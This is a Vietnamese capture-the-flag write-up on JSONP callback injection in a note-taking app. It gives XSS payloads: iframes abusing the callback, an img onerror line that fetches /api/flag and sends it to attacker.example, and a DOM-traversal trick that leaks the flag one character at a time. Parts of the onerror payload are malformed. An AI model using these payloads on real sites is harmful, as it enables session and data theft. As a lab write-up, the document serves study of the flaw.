Lỗ Hổng Chèn Callback JSONP Trong Ứng Dụng Quản Lý Ghi Chú

Hệ thống ứng dụng ghi chú sử dụng cơ chế JSONP để xử lý yêu cầu truy vấn, nhưng có lỗ hổng trong cách xử lý tham số callback. Khi endpoint /api/view/:note trả về dữ liệu dưới dạng JavaScript, tham số callback có thể bị thay thế bằng giá trị kiểm soát được, dẫn đến thực thi mã JavaScript từ xa.

Phần tử HTML <script src="/api/view/<%= note %>?callback=showNote"></script> trong mẫu notes.ejs cho phép chèn giá trị note trực tiếp vào URL. Nếu note chứa chuỗi foo%3fcallback=任意%23 (tương đương foo?callback=任意#), tham số callback cố định sẽ bị ghi đè, cho phép điều khiển hàm callback.

Phương pháp khai thác

Truy cập URL sau để thay thế callback thành hàm thực thi mã:

/api/view/foo%3fcallback=top.frames[0].$._evalUrl%23

Phản hồi sẽ chứa đoạn mã JavaScript thực thi:

/**/ typeof top.frames[0].$._evalUrl === 'function' && top.frames[0].$._evalUrl();

Điều này cho phép thực thi bất kỳ đoạn mã nào thông qua $.evalUrl.

Thực thi payload XSS

Chèn iframe để tải script từ endpoint bị tấn công, sau đó thực thi payload khai thác:

<iframe src="http://localhost:1337/note/foo%3fcallback=top.frames[0].$._evalUrl%23"></iframe>
<iframe src="http://localhost:1337/note/{note-id}%3fcallback=top.frames[0].displayNote%23"></iframe>

Trong đó, displayNote là hàm xử lý dữ liệu ghi chú, được khai báo trong view.js:

function displayNote(note) {
  document.getElementById('title').textContent = note.noteTitle;
  document.getElementById('content').innerHTML = note.noteContent;
}

Để truy cập flag, ghi nội dung vào trường noteContent như sau:

<img src="onerror='window.open(`/api/flag`).then(r=>r.text().then(t=>fetch(`https://attacker.example/flag?data=${t}`)))'>

Phương pháp không mong đợi (DOM Traversal)

Một kỹ thuật khác sử dụng DOM traversal để khai thác từng ký tự của flag:

Trong endpoint /api/post, ghi nội dung ghi chú chứa iframe:

<iframe srcdoc='
  <a id="&#33;" href="https://attacker.example/leak?char=!">Click</a>
  <script src="/api/view/f82fdf2d9cdbd5f0688289313260b3d5?callback=window[top.opener.document.body.children[0].textContent[5]].click"></script>
'></iframe>

Tham số callback này sẽ truy cập thuộc tính DOM của trang gốc, thực hiện .click() trên thẻ <a> tương ứng với ký tự đang xét. Ví dụ:

callback=window[top.opener.document.body.children[0].textContent[5]].click

Trang đích sẽ tự động truy cập URL https://attacker.example/leak?char=! và gửi ký tự ! đến máy chủ tấn công.

Quá trình lặp lại để khai thác từng ký tự của flag, bắt đầu từ vị trí len(current_flag) và tăng dần.

Thẻ: jsonp XSS callback injection DOM traversal Express.js

Đăng vào ngày 26 tháng 9 lúc 19:03